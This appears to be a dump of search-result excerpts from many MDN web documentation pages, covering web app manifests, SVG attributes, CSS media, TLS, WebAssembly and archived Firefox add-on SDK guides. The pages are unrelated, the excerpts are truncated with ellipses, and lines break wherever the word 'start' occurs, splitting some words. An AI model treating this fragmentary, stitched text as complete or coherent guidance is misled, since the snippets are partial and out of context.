starts to load (this currently appears only when apps have been added to the home screen by chrome). display: specifies how the app should be displayed. to make it feel like a distinct app (and not just a web page), you should choose a value such as fullscreen (no ui is shown at all) or standalone (very similar, but system-level ui elements such as the status bar might be visible). icons: specifies i...
...e important, the home screen). we've included only one in our demo. name/short_name: these fields provide an app name to be displayed when representing the app in different places. name provides the full app name, and short_name provides a shortened name to be used when there is insufficient space to display the full name. you are advised to provide both if your app's name is particularly long.
start_url: provides a path to the asset that should be loaded when the added-to-home screen app is launched. note that this has to be a relative url pointing to the site index, relative to the url of the manifest. also, be aware that chrome requires this before it will display the install banner, whereas firefox doesn't require it for showing the home-with-a-plus icon. the manifest for our sample app...
...owing the home-with-a-plus icon. the manifest for our sample app looks like this: { "background_color": "purple", "description": "shows random fox pictures. hey, at least it isn't cats.", "display": "fullscreen", "icons": [ { "src": "icon/fox-icon.png", "sizes": "192x192", "type": "image/png" } ], "name": "awesome fox pictures", "short_name": "foxes", "
start_url": "/pwa-examples/a2hs/index.html" } appropriate icon as shown in the above manifest listing, we are including a 192 x 192 px icon for use in our app. you can include more sizes if you want; android will choose the most appropriate size for each different use case. you could also decide to include different types of icons so devices can use the best one they are able to (e.g., chrome already...
Graphic design for responsive sites - Progressive web apps (PWAs)
hem that less than 20 years in the future we would be developing web sites that worked well on mobile phones, tablets, tvs, even cars and home lighting. but today it is very much a reality. this article provides a high level discussion aimed at helping you to choose the best option for your graphical needs. ...
...in the future we would be developing web sites that worked well on mobile phones, tablets, tvs, even cars and home lighting. but today it is very much a reality. this article provides a high level discussion aimed at helping you to choose the best option for your graphical needs. textual content is not a problem, as text boxes are innately responsive, but the picture
starts to get ugly when you
start including graphics and complex layouts on your pages — especially when those graphics and layouts need to adapt to different displays! this is why we have included an entire docs section covering each of these topics (the one you are currently in, and app layout.) in addition, these days there are so many more technologies to choose from than your humble bmps, jpgs, gifs and pngs. but what sho...
...k across devices with different resolutions. the issue here is that raster images, when rendered on high res devices, are in danger of appearing tiny because the same number of pixels is being shown in a much smaller screen space. most hi res devices apply a default zoom factor to the whole web page so that the content is a bit more legible, but the downside of this is that the images in question
start to look pixellated and ugly because they have been zoomed in. high res and low res image copies one option here is to create a hi res and a low res set of images, then use resolution media queries to serve the hi res images only to hi res devices. programmatic images you should also try to use programmatic/vector graphics as much as possible, as they theoretically scale infinitely so will s...
Media - Progressive web apps (PWAs)
many pages in this tutorial focused on the css properties and values, as well as how you use these to specify the way that content displays. information: media the purpose of css is to specify how content is presented to the user. this presentation can take more than one form. for example, you are probably reading this on a device with a display. but you might also want to project it to a big screen for a large audience, or you might want to print it. these different media have different characteristics. css has the capacity to present content according to the media type. ...
... all all media (the default) more details there are other ways to specify the media type for a set of rules. the document's markup language might allow the media type to be specified when the stylesheet is linked to the document. for example, in html, you have the option to specify the media type with a media attribute in the link element. in css, you can use @import at the
start of a stylesheet to import another stylesheet from a url, optionally specifying the media type. these are ways of separating styling rules for different media types into different files. for full details of media types, see media in the css specification. there are more examples of the display property in a later page in this tutorial: xml data. printing css has specific support for printing...
...eters (mm). it is equally appropriate to use ems (em) to match the font size, and percentages (%). you can control how the content of the document breaks across page boundaries, by using the page-break-before, page-break-after and page-break-inside properties. example this rule sets the page margins to one inch on all four sides: @page {margin: 1in;} this rule ensures that every h1 element
starts on a new page: h1 {page-break-before: always;} more details for full details of css support for paged media, see paged media in the css specification. like other features of css, printing depends on browser choice and its settings. for example, the mozilla browser supplies default margins, headers, and footers for printing. keep in mind that you can't completely control the printed format...
Structural overview of progressive web apps - Progressive web apps (PWAs)
the web. being linkable, progressive, and responsive by design it's important to remember the pwa advantages and keep them in mind when designing the application. the app shell approach allows websites to be: linkable: even though it behaves like a native app, it is still a website — you can click on the links within the page and send a url to someone if you want to share it. progressive:
start with the "good, old basic website” and progressively add new features while remembering to detect if they are available in the browser and gracefully handle any errors that crop up if support is not available. for example, an offline mode with the help of service workers is just an extra trait that makes the website experience better, but it's still perfectly usable without it. responsive: res...
... technologies like the viewport meta tag, css media queries, flexbox, and css grid. another approach: streams an entirely different approach to server- or client-side rendering can be achieved with the streams api. with a little help from service workers, streams can greatly improve the way we parse content. the app shell model requires all the resources to be available before the website can
start rendering. it's different with html, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. to have the javascript actually work, however, it has to be downloaded in its entirety. the streams api allows developers to have direct access to data streaming from the server. if you want to perform an operation on the data (for e...
...n the website. to have the javascript actually work, however, it has to be downloaded in its entirety. the streams api allows developers to have direct access to data streaming from the server. if you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever). instead, you can
start right away. it provides fine-grained control: the stream can be
started, chained with another stream, canceled, checked for errors, and more. in theory, streaming is a better model than the app shell model, but it's also more complex, and the streams api isn't yet fully supported by any of the major browsers. once it's available, however, it will be the fastest way to serve your app's content. t...
SVG Event Attributes - SVG: Scalable Vector Graphics
they specifies some script to run when the event of the given type is dispatched to the element on which the attributes are specified. for every event type that the browser supports, svg supports that as an event attribute, following the same requirements as for html event attributes. the global event attributes are available on all svg elements. other event attributes are available on a case by case basis for each elements. all event attribute are not animatable. ...
...table. ...
...nt attributes oncopy, oncut, onpaste global event attributes oncancel, oncanplay, oncanplaythrough, onchange, onclick, onclose, oncuechange, ondblclick, ondrag, ondragend, ondragenter, ondragexit, ondragleave, ondragover, ondrag
start, ondrop, ondurationchange, onemptied, onended, onerror, onfocus, oninput, oninvalid, onkeydown, onkeypress, onkeyup, onload, onloadeddata, onloadedmetadata, onload
start, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onpause, onplay, onplaying, onprogress, onratechange, onreset, onresize, onscroll, onseeked, onseeking, onselect, onshow, onstalled, onsubmit, onsuspend, ontimeupdate, ontoggle, onvolumechange, onwaiting graphical event attributes onactivate, onfocusin, onfocusout ...
SVG Presentation Attributes - SVG: Scalable Vector Graphics
rofile color-rendering cursor direction display dominant-baseline enable-background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-
start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering transform unicode-bidi vector-effect visibility word-spacing writing-mode attributes alignment-baselin...
...-end it defines the arrowhead or polymarker that will be drawn at the final vertex of the given <path> element or basic shape. value: <funciri>|none|inherit; animatable: yes marker-mid it defines the arrowhead or polymarker that will be drawn at every vertex other than the first and last vertex of the given <path> element or basic shape. value: <funciri>|none|inherit; animatable: yes marker-
start it defines the arrowhead or polymarker that will be drawn at the first vertex of the given <path> element or basic shape. value: <funciri>|none|inherit; animatable: yes mask it alters the visibility of an element by either masking or clipping the image at specific points. value: see css mask; animatable: yes opacity it specifies the transparency of an object or a group of objects. value: ...
...r length to the stroke-width used to draw a miter join. value: <number>; animatable: yes stroke-opacity defines the opacity of the stroke of a shape. value: <opacity-value>|<percentage>; animatable: yes stroke-width defines the width of the stroke to be applied to the shape. value: <length>|<percentage>; animatable: yes text-anchor defines the vertical alignment a string of text. value:
start|middle|end|inherit; animatable: yes text-decoration sets the appearance of decorative lines on text. value: none|underline|overline|line-through|blink|inherit; animatable: yes text-rendering hints about what tradeoffs to make as the browser renders text. value: auto|optimizespeed|optimizelegibility|geometricprecision|inherit; animatable: yes transform defines a list of transform definitio...
Introduction - SVG: Scalable Vector Graphics
html provides elements for defining headers, paragraphs, tables, and so on. in much the same way svg provides elements for circles, rectangles, and simple and complex curves. a simple svg document consists of nothing more than the <svg> root element and several basic shapes that build a graphic together. in addition there is the <g> element, which is used to group several basic shapes together. ...
...however, this tutorial will rely on the trusty xml or text editor (your choice). ...
...s and even a couple versions back in some cases. a fairly complete browser support table can be found on can i use. firefox has supported some svg content since version 1.5, and that support level has been growing with each release since. hopefully, along with the tutorial here, mdn can help developers keep up with the differences between gecko and some of the other major implementations. before
starting you should have a basic understanding of xml or another markup language such as html. if you are not too familiar with xml, here are some guidelines to keep in mind: svg elements and attributes should all be entered in the case shown here since xml is case-sensitive (unlike html). attribute values in svg must be placed inside quotes, even if they are numbers. svg is a huge specification.
Patterns - SVG: Scalable Vector Graphics
he size of the other and is used to fill in the entire pattern), and one circle. the confusing thing about patterns is defining a unit system and their size. in the example above, we've defined a width and height attribute on the pattern element to describe how far the pattern should go before it begins repeating itself again. there are also x and y attributes available if you want to offset the
start point of this rectangle somewhere within your drawing. the reason they've been used here is described below. as with the gradientunits attribute used above, patterns also have an attribute, patternunits, which specifies the units that these attributes will take. it defaults to "objectboundingbox" as it did above, so a value of 1 is scaled to the width/height of the object you're applying the pat...
... the size of our box (200 pixels) and the fact that we wanted the pattern to repeat itself 4 times horizontally and vertically. this means that each pattern unit was a 50×50 square. the two rects and the circle inside the pattern were then sized to fit in a 50×50 box. anything we had drawn outside that box wouldn't have been shown. the pattern also had to be offset by 10 pixels so that it would
start in the upper-left corner of our box, so the x and y attributes of the pattern had to be adjusted to 10÷200 = 0.05. the caveat here is that if the object changes size, the pattern itself will scale to fit it, but the objects inside will not. so while we would still have 4 repeating units inside the pattern, the objects composing that pattern would remain the same size, and you end up with large ...
...this contrasts with the "userspaceonuse" system, where if the object changes the size, the pattern would stay the same and just repeat itself more times to fill the box. as a slight aside, in gecko circles seem to have t...
Transport Layer Security - Web security
ion verify that the other party is who they claim to be. encryption data is encrypted while being transmitted between the user agent and the server, in order to prevent it from being read and interpreted by unauthorized parties. integrity tls ensures that between encrypting, transmitting, and decrypting the data, no information is lost, damaged, tampered with, or falsified. a tls connection
starts with a handshake phase where a client and server agree on a shared secret and important parameters, like cipher suites, are negotiated. once parameters and a data exchange mode where application data, such http, is exchanged. cipher suites the primary parameters that the tls handshake negotiates is a cipher suite. in tls 1.2 and earlier, the negotiated cipher suite includes a set of cryptogra...
...the configuration file may need some adjustments to include custom settings, so be sure to review the generated configuration before using it; installing the configuration file without ensuring any references to domain names and the like are correct will result in a server that just doesn't work. tls 1.3 rfc 8446: tls 1.3 is a major revision to tls. tls 1.3 in...
...g towards a more modern, more secure web, tls 1.0 and 1.1 support will be removed from all major browsers in q1 2020. you'll need to make sure your web server supports tls 1.2 or 1.3 going forward. from version 74 onwards, firefox will return a secure connection failed error when connecting to servers using the older tls versions (bug 1606734). tls handshake timeout values if the tls handshake
starts to become slow or unresponsive for some reason, the user's experience can be affected significantly. to mitigate this problem, modern browsers have implemented handshake timeouts: since version 58, firefox implements a tls handshake timeout with a default value of 30 seconds. the timeout value can be varied by editing the network.http.tls-handshake-timeout pref in about:config. ...
substring - XPath
returns a string. ...
... returns a string. ...
... returns a string. ...
WebAssembly Concepts - WebAssembly
which looks similar to typescript and compiles to webassembly binary. let’s talk about these options: porting from c/c++ two of the many options for creating wasm code are an online wasm assembler or emscripten. there are a number of online wasm assembler choices, such as: wasmfiddle wasmfiddle++ wasmexplorer these are great resources for people who are trying to figure out where to
start, but they lack some of the tooling and optimizations of emscripten. the emscripten tool is able to take just about any c/c++ source code and compile it into a .wasm module, plus the necessary javascript "glue" code for loading and running the module, and an html document to display the results of the code. in a nutshell, the process works as follows: emscripten first feeds the c/c++ into c...
...in integer and floating point primitive data types. thus, to access any web api, webassembly needs to call out to javascript, which then makes the web api call. emscripten therefore creates the html and javascript glue code needed to achieve this. note: there are future plans to allow webassembly to call web apis directly. the javascript glue code is not as simple as you might imagine. for a
start, emscripten implements popular c/c++ libraries like sdl, opengl, openal, and parts of posix. these libraries are implemented in terms of web apis and thus each one requires some javascript glue code to connect webassembly to the underlying web api. so part of the glue code is implementing the functionality of each respective library used by the c/c++ code. the glue code also contains the logic f...
...s format by hand and then convert it into the binary format with any of several webassemby text-to-binary tools. for a simple guide on how to do this, see our converting webassembly text format to wasm article. writing rust targeting webassembly it is also possible to write rust code and compile over to webassembly, thanks to the tireless work of the rust webassembly working group. you can get
started with installing the necessary toolchain, compiling a sample rust program to a webassembly npm package, and using that in a sample web app, over at our compiling from rust to webassembly article. using assemblyscript for web developers who want to try webassembly without needing to learn the details of c or rust, assemblyscript will be the best option. it generates a small bundle and it's perf...
Compiling an Existing C Module to WebAssembly - WebAssembly
them on the web. these libraries often rely on c's standard library, an operating system, a file system and other things. emscripten provides most of these features, although there are some limitations. as an example, let's compile an encoder for webp to wasm. the source for the webp codec is written in c and available on github as well as some extensive api documentation. ...
...n operating system, a file system and other things. emscripten provides most of these features, although there are some limitations. as an example, let's compile an encoder for webp to wasm. the source for the webp codec is written in c and available on github as well as some extensive api documentation. that's a pretty good
starting point. ...
...destroy_buffer(uint8_t* p) { free(p); } the create_buffer() function allocates a buffer for the rgba image — hence 4 bytes per pixel. the pointer returned by malloc() is the address of the first memory cell of that buffer. when the pointer is returned to javascript land, it is treated as just a number. after exposing the function to javascript using cwrap, you can use that number to find the
start of our buffer and copy the image data: const api = { version: module.cwrap('version', 'number', []), create_buffer: module.cwrap('create_buffer', 'number', ['number', 'number']), destroy_buffer: module.cwrap('destroy_buffer', '', ['number']), }; const image = await loadimage('./image.jpg'); const p = api.create_buffer(image.width, image.height); module.heap8.set(image.data, p); // ... cal...
SDK and XUL Comparison - Archive of obsolete content
ition of the sdk: so you'll be able to write one extension and have it work on both products. security if they're not carefully designed, firefox add-ons can open the browser to attack by malicious web pages. although it's possible to write insecure add-ons using the sdk, it's not as easy, and the damage that a compromised add-on can do is usually more limited. re
startlessness add-ons built with the sdk can be installed without having to re
start firefox. although you can write traditional add-ons that are re
startless, you can't use xul overlays in them, so most traditional add-ons would have to be substantially rewritten anyway. user experience best practices the ui components available in the sdk are designed to align with th...
...see the tutorial on mobile development. advantages of xul-based add-ons user interface flexibility xul overlays offer a great deal of options for building a ui and integrating it into the browser. ...
page-worker - Archive of obsolete content
setting this property. contentscript string,array a string or an array of strings containing the texts of content scripts to load. content scripts specified by this option are loaded after those specified by the contentscriptfile option. contentscriptwhen string when to load the content scripts. ...
...cript will be applied. this is useful when using pages which redirect to other pages in your page-worker. contentscriptfile a local file url or an array of local file urls of content scripts to load. contentscript a string or an array of strings containing the texts of content scripts to load. contentscriptwhen when to load the content scripts. ...
content/symbiont - Archive of obsolete content
(options) creates a content symbiont. parameters options : object optional options: name type frame object the host application frame in which the page is loaded. if frame is not provided hidden one will be created. contentscriptwhen string when to load the content scripts. ...
... content scripts to load. content scripts specified by this property are loaded before those specified by the contentscript property. contentscript the texts of content scripts to load. content scripts specified by this property are loaded after those specified by the contentscriptfile property. contentscriptwhen when to load the content scripts. ...
loader/sandbox - Archive of obsolete content
(see sandbox documentation on mdn for details). evaluate code module provides evaluate function that lets you execute code in the given sandbox: evaluate(scope, 'var a = 5;'); evaluate(scope, 'a + 2;'); //=> 7 more details about evaluated script may be passed via optional arguments that may improve exception reporting: // evaluate code as if it was loaded from 'http://foo.com/bar.js' and //
start from 2nd line. evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); version of javascript can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in js 1.5. load scripts this module provides a limited api for loading scripts from local urls. data: urls are supported. load(scope, 'resource://path/to/my/script.js')...
...e privileges. returns sandbox : a sandbox in which you can evaluate and load javascript. evaluate(sandbox, code, uri, line, version) evaluate code in sandbox, and return the result. parameters sandbox : sandbox the sandbox to use. code : string the code to execute. uri : string evaluate the code as if it were being loaded from the given uri. optional. line : number evaluate the code
starting at this line. optional, defaults to 1. version : string evaluate the code using this version of javascript. defaults to 1.8. returns result : returns whatever the evaluated code returns. load(sandbox, uri) evaluate code from uri in sandbox. parameters sandbox : sandbox the sandbox to use. uri : string the url pointing to the script to load. it must be a local chrome:, resource:, fil...
test/httpd - Archive of obsolete content
this module was removed in firefox 36, please use the addon-httpd npm module instead. an http server for the mozilla platform, which can be used in unit tests. usage the most basic usage is: var {
startserverasync } = require("sdk/test/httpd"); var srv =
startserverasync(port, basepath); require("sdk/system/unload").when(function cleanup() { srv.stop(function() { // you should continue execution from this point. }) }); this
starts a server in background (assuming you're running this code in an application that has an event loop, such as firefox). ...
...e execution from this point. }) }); this
starts a server in background (assuming you're running this code in an application that has an event loop, such as firefox). the server listens at http://localhost:port/ and serves files from the specified directory. you can serve static content or use sjs scripts, as described in documentation on developer.mozilla.org. you can also use nshttpserver to
start the server manually: var { nshttpserver } = require("sdk/test/httpd"); var srv = new nshttpserver(); // further documentation on developer.mozilla.org see http server for unit tests for general information. ...
console - Archive of obsolete content
if the add-on has been installed in firefox, then the messages appear in the browser console. if you're developing your add-on using the extension auto-installer, then the add-on is installed in firefox, meaning that messages will appear in the browser console. but see the discussion of logging levels: by default, messages logged using log(), info(), trace(), or warn() won't be logged in these situations. ...
...e!"); } error: my-addon: an exception occurred. userexception: thing could not be done! console.info(object[, object, ...]) a synonym for console.log(). console.log(object[, object, ...]) logs the arguments to the console, preceded by "info:" and the name of your add-on: console.log("this is an informational message"); info: my-addon: this is an informational message console.time(name)
starts a timer with a name specified as an input parameter. up to 10,000 simultaneous timers can run on a given page. console.timeend(name) stops the specified timer and logs the elapsed time in seconds since its
start. see timers. console.trace() logs a stack trace at the point the function is called. console.warn(object[, object, ...]) logs the arguments to the console, preceded by "warn:" and ...
Listening for Load and Unload - Archive of obsolete content
ports.onunload(). you can just place your add-on's code at the top level instead of wrapping it in a function assigned to exports.main(). it will be loaded in the same circumstances, but you won't get access to the load/unload reason or arguments. exports.main() your add-on's main.js code is executed as soon as it is loaded. it is loaded when it is installed, when it is enabled, or when firefox
starts. if your add-on exports a function called main(), that function will be called immediately after the overall main.js is evaluated, and after all top-level require() statements have run (so generally after all dependent modules have been loaded). exports.main = function (options, callbacks) {}; options is an object describing the parameters with which your add-on was loaded. options.loadr...
...is evaluated, and after all top-level require() statements have run (so generally after all dependent modules have been loaded). exports.main = function (options, callbacks) {}; options is an object describing the parameters with which your add-on was loaded. options.loadreason options.loadreason is one of the following strings describing the reason your add-on was loaded: install enable
startup upgrade downgrade exports.onunload() if your add-on exports a function called onunload(), that function will be called when the add-on is unloaded. exports.onunload = function (reason) {}; reason reason is one of the following strings describing the reason your add-on was unloaded: uninstall disable shutdown upgrade downgrade if your add-on is disabled, then uninstalled, your onun...
Developing for Firefox Mobile - Archive of obsolete content
latform tools will have installed adb in the "platform-tools" directory under the directory in which you installed the android sdk. make sure the "platform-tools" directory is in your path. then type: adb devices you should see some output like: list of devices attached 51800f220f01564 device (the long hex string will be different.) if you do, then adb has found your device and you can get
started. running add-ons on android you can develop your add-on as normal, as long as you restrict yourself to the supported modules. when you need to run the add-on, first ensure that firefox is not running on the device. then execute jpm-mobile run with some extra options: jpm-mobile run --adb /path/to/adb in the command shell, you should see something like: launching mobile application with i...
... normal, as long as you restrict yourself to the supported modules. when you need to run the add-on, first ensure that firefox is not running on the device. then execute jpm-mobile run with some extra options: jpm-mobile run --adb /path/to/adb in the command shell, you should see something like: launching mobile application with intent name org.mozilla.fennec pushing the addon to your device
starting: intent { act=android.activity.main cmp=org.mozilla.fennec/.app (has extras) } --------- beginning of /dev/log/main --------- beginning of /dev/log/system could not read chrome manifest 'file:///data/data/org.mozilla.fennec/chrome.manifest'. info:
starting info:
starting zerdatime 1329258528988 - browser chrome
startup finished. this will be followed by lots of debug output. on the device, ...
Tutorials - Archive of obsolete content
create user interfaces add a toolbar button attach a button to the firefox add-on toolbar. add a menu item to firefox add items to firefox's main menus. display a popup display a popup dialog implemented with html and javascript. ...
... create user interfaces add a toolbar button attach a button to the firefox add-on toolbar. add a menu item to firefox add items to firefox's main menus. display a popup display a popup dialog implemented with html and javascript. ...
Add-on SDK - Archive of obsolete content
interact with the browser open web pages, listen for pages loading and list open pages. ...
...e modules, localization, and mobile development. create user interface components create user interface components such as toolbar buttons, context menus, menu items, and dialogs. modify web pages modify pages matching a url pattern or dynamically modify a particular tab. putting it together walkthrough of the annotator example add-on. guides contributor's guide learn how to
start contributing to the sdk and about the most important idioms used in the sdk code such as modules, classes and inheritance, private properties, and content processes. sdk infrastructure aspects of the sdk's underlying technology: modules, the program id and the rules defining firefox compatibility. content scripts a detailed guide to working with content scripts. sdk idioms the sdk's ev...
Finding window handles - Archive of obsolete content
web content windows (in tabs) do not have their own hwnds. typically the top level browser window hwnd has no children, although if there are windowed plugins (such as flash) visible in the window, they will have hwnds whose parent is the top level browser window hwnd. ...
...web content windows (in tabs) do not have their own hwnds. typically the top level browser window hwnd has no children, although if there are windowed plugins (such as flash) visible in the window, they will have hwnds whose parent is the top level browser window hwnd. ...
Examples and demos from articles - Archive of obsolete content
eation of complete rich-text editors in web pages. [article] typewriter effect [html] the following example will delete and re-type simulating a typewriter all the text content of the nodelist which match a specified group of selectors. [article] fade in/out [html] sometimes a page uses dozens and dozens of animations. in such a condition is difficult and unnatural to keep track of all events
started and then to stop them when appropriate through the cleartimeout() function. a possible approach to solve this problem is to nest all the informations needed by each animation to
start, stop, etc. etc. in different objects and then to create a constructor for such class of objects in order to standardize and simplify the instantiation of them. here is a possible and minimalist example of such a...
...growing <textarea> this example shows how to make a textarea really autogrowing during a typing. insert some custom text in a <textarea> this example shows how to insert some html tags or smiles or any custom text in a textarea. using setinterval within animations sometimes a page uses dozens and dozens of animations. in such a condition is difficult and unnatural to keep track of all events
started and then to stop them when appropriate through the cleartimeout() function. a possible approach to solve this problem is to nest all the informations needed by each animation to
start, stop, etc. etc. in different objects and then to create a constructor for such class of objects in order to standardize and simplify the instantiation of them. convert relative paths to absolute this example sh...
Communication between HTML and your extension - Archive of obsolete content
but i still would rather have the client less responsible for pinging the extension to "look" for what is on the page. what i tried my first attempt was trying to create an xbl component. from what i gather, xbl components are more designed for creating custom components and their specific component behavior rather than trying to impose some kind of messaging on existing components. next i
started investigating events, there are only a handful of events and the w3c documentation is pretty complete. the basic problem with the event model is probably due to what i was trying to do. in my html i have an input element in a form. i set the onblur action to a little javascript function that performed a standard ajax request to get a result. the onreadystatechange was set to another little jav...
...rt i tried setting a timeout using settimeout when i got the event in the extension to wait a few milliseconds before looking for the desired element. this was non-optimal and the timeout wasn't very reliable for some reason. sometimes i would get the timeout, sometimes i would'nt. what i ended up with some helpful information on the irc channel led me to believe that a custom event might help. i
started to research custom events on google but everything that i found was far too complicated for what i wanted to achieve. eventually i put the creation of the custom event into the statechanged function that was handling the receipt of the ajax request. after the html component was update with the result of the ajax request, i created and dispatched the event like this: var event = document.cr...
Custom about: URLs - Archive of obsolete content
factory = new factory(aboutcustom); // ... } and then on shutdown of your bootstrapped addon make sure to destroy the factory: function shutdown(adata, areason) { if (areason == app_shutdown) { return } // ... factory.unregist...
... factory = new factory(aboutcustom); // ... ...
Extension Etiquette - Archive of obsolete content
hould always be used to prevent conflicts with third-party code. names and metadata naming be creative! don't be redundant and include "extension," "mozilla/firefox/thunderbird," or the version number in the name. be original! descriptions use something that is descriptive, but that would fit in the default add-on manager width. the mozilla extensions (inspector/reporter/talkback) believe
starting with a verb is the best way. for example, "does an action in the browser." documentation assume that the vast majority of your users don't have inner working knowledge of mozilla. make sure your extension's homepage states the "obvious," including the purpose of your extension. users also appreciate when your extension is shipped with a simple how-to document. ids firefox/thunderbird 1.5 o...
...long as they are easy to understand, even for non-computer-savvy users. however, please make sure the default set of preferences is adequate — don't require people to tweak options in order to get your extension's core functionality. preferences' internal names internal firefox preference names for extensions or to be clear, the name of the preference as it appears in the about:config, should
start with "extensions.," then the name of the extension, with a dot, then the name of the preference. for instance, a boolean for the reporter extension's option for hiding the privacy statement is "extensions.reporter.hideprivacystatement". general dependencies requiring a user to download another extension in order to use yours isn't nice. avoid the dependency on other extensions, especially exte...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
and mutual development, it avoids restrictions on source-code duplication, distribution, and modification to the greatest extent possible. types of oss licenses and their characteristics the details of oss licenses vary from one license to the next. i’ll look at three representative licenses here, and explain some of their features and relevant points. most attempts at explaining open source
start with the gpl. this is the longest, most complicated, and hardest to understand. so instead, i’m going to
start with the simplest, the modified bsd license. the table below shows a few well-known software titles and their licenses license representative software titles modified bsd freebsd, netbsd, openbsd mpl firefox, thunderbird (also triple-licensed mpl/l...
...nse’s full text as a template and insert that. see below. gpl license declaration template if you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software that everyone can redistribute and change under these terms. to do so, attach the following notices to the program. it is safest to attach them to the
start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> copyright (c) <year> <name of author> this program is free software: you can redistribute it and/or modify it under the terms of the gnu ge...
Appendix D: Loading Scripts - Archive of obsolete content
e xul window in question and executed immediately and synchronously. advantages familiarity: these tags are very similar to the html script tags familiar to most web developers. simplicity: the simple, declarative nature of these tags make them easy to find and understand at a glance. speed: script tags may or may not be loaded from pre-compiled bytecode in the fastload cache (gecko 1.x) or
startup cache (gecko 2), which means they don't necessarily need to read as source and compiled with each re
start. flexibility: script tags provide a means to specify the character set and javascript version of the scripts to be loaded, which many other methods do not. debuggable: development tools support debugging javascript loaded by script tags disadvantages scoping: scripts loaded via scrip...
...the script will execute in the same security context as the current script and will have access to the same globals, but any new globals it creates will be accessible only to the script itself. objects passed out of the sandbox...
Connecting to Remote Content - Archive of obsolete content
rate a script to run on your local database. you would of course need to be very careful about escaping characters and protecting yourself against sql injection attacks. convert xml into rdf. this was more useful when rdf was the default storage format. you can still use rdf as an intermediate format, though, and then use templates to generate xul and display the data. http debugging when you
start debugging http requests, you may find it hard to know exactly what data was sent, especially with post data. we recommend you to use extensions like tamper data. they help you to track http/https requests and responses occurring in firefox. after installation, you can find a tamper data menu item in the menu bar: tools > tamper data or view > sidebar > tamper data once you open the tamper ...
...ation, you can find a tamper data menu item in the menu bar: tools > tamper data or view > sidebar > tamper data once you open the tamper data view, all requests and responses will begin to appear in it. you can discover some interesting things about firefox like this, such as the automatic update urls for extensions, and the behavior of web applications such as gmail. if you click on the "
start tamper" button, for every request made you will get a popup dialog for tampering with it before it is sent. you can use it to view or even modify the data in a request, and then inspect the result. this can be a lot of work because there is a lot of web activity in a normal firefox window, so use it sparingly. a tutorial on tamper data can be found here. note: you should always test your connec...
Local Storage - Archive of obsolete content
ssary, but mozilla labs have come up with a javascript implementation of a logger similar to the log4j logger used in java projects. the logger is called log4moz and it is implemented as a javascript code module, so it only works on firefox 3 and above. to use this logger, you need to copy the log4moz.js file to your modules directory. in the initialization method of your one of your "common" or
startup objects, add the following code: let formatter = new log4moz.basicformatter(); let root = log4moz.repository.rootlogger; let logfile = this.getlocaldirectory(); // remember this? let appender; logfile.append("log.txt"); // loggers are hierarchical, lowering this log level will affect all // output. root.level = log4moz.level["all"]; // this appender will log to the file system. appender = n...
...and this becomes increasingly complex as you add new versions and new structure changes. so, be careful and plan for the future. there are two paths you can take when creating the local database you'll be using for your extension: generate the database file (through mozistorageservice.opendatabase(), all tables (through mozistorageconnection.createtable(), and initial data when your extension
starts up for the first time. if you need a complex database this can be heavy in terms of time and code, but this will only happen once and this can be done in a lazy or asynchronous way. have an initial database file in your defaults directory that you can copy to the user's profile. this way you just need to do a file copy. you can reach the defaults directory at profd/extensions/your_extension_id.
Promises - Archive of obsolete content
file in the background. let download_1 = downloads.fetch(url_1, path_1); // fetch a file visible in the download manager. let download_2 = yield downloads.createdownload({ source: url_2, target: path_2, }); // add it to the downloads list used by the download manager ui. let list = yield downloads.getlist(downloads.all); list.add(download_2); //
start the second download, and wait for both // downloads to complete. // this will raise an error if either download fails. yield promise.all([download_1, download_2.
start()]); // do something with the saved files. dostuffwith(path_1, path_2); }); sqlite first, it’s important to note that sqlite should be avoided in favor of simpler solutions, such as f...
... or for legacy code which cannot easily be upgraded to non-relational models, the sqlite.jsm module provides a clean, promise-based interface to sqlite databases. representative example usage components.utils.import("resource://gre/modules/sqlite.jsm"); task.spawn(function* () { // open the connection. let db = yield sqlite.openconnection({ path: database_path }); try { //
start a transaction to insert the data. yield db.executetransaction(function* () { for (let node of nodes) // insert the node's data, using an automatically-cached, // pre-compiled statement, and parameter placeholders. yield db.executecached( "insert into nodes (id, owner, key, value) \ values ...
Add-ons - Archive of obsolete content
ith building an extension. extension packaging extensions are packaged in a form of installable bundle which can be downloaded and installed by a user, or provided pre-packaged with an application or by an external program. extensions use a directory structure which can provide chrome, components, and other files to extend the functionality of an xul program. extensions support in seamonkey 2
starting with seamonkey 2 alpha 1 seamonkey supports toolkit/-style extensions. these type of extensions have many advantages for both users and developers compared to the old xpinstall/-style extensions. firefox addons developer guide the original document is in japanese and distributed via the xuldev.org website. so there may be still some reference to the xuldev website (we want to host source cod...
...ributed via the xuldev.org website. so there may be still some reference to the xuldev website (we want to host source code on mdc, not on xuldev), and to japanese things (like some specific locales, which have been translated to french since non-latin characters are not well supported). hotfix extension this document has been moved to the add-ons wiki. how to convert an overlay extension to re
startless first off, what kind of add-on are we talking about here? well, xul overlays and windows, jsm files, chrome & resource mappings with localization, default preferences, but no xpcom components of your own. some of that will have to be replaced and the rest will need to be loaded differently. inline options firefox 7 supports a new syntax for defining extensions' preferences for both bootstr...
XUL user interfaces - Archive of obsolete content
e the xul page in this wiki. action: a xul demonstration make a new xul document as a plain text file, doc7.xul. ...
...and="cleardate();"/> <button id="today" label="today" accesskey="t" oncommand="settoday();"/> </hbox> </groupbox> <statusbar> <statusbarpanel id="status"/> </statusbar> </vbox> </window> make a new css file, style7.css. ...
CSS3 - Archive of obsolete content
